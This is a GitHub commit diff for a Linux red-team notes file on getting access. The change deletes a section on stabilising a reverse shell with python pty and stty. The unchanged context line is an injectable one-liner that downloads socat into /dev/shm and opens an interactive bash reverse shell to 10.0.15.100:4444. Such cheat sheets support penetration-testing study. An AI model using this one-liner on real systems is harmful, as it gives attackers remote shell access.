Skip to content

Commit a912940

Browse files
authored
fix info for zsh shell upgrade
1 parent b29de87 commit a912940

File tree

1 file changed

+0
-18
lines changed

1 file changed

+0
-18
lines changed

linux-1/linux-redteam/getting-access.md

-18
Original file line numberDiff line numberDiff line change
@@ -370,24 +370,6 @@ This one-liner can be injected wherever you can get command injection for an ins
370370
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.15.100:4444
371371
```
372372

373-
### 
Using stty options
374-
375-
```bash
376-
# In reverse shell
377-
python -c 'import pty; pty.spawn("/bin/bash")'
378-
Ctrl-Z
379-
380-
# In Kali
381-
stty raw -echo
382-
fg
383-
384-
# In reverse shell
385-
reset
386-
export SHELL=bash
387-
export TERM=xterm-256color
388-
stty rows <num> columns <cols>
389-
```
390-
391373

392374
Misc unsorted
393375
-------------

0 commit comments

Comments
 (0)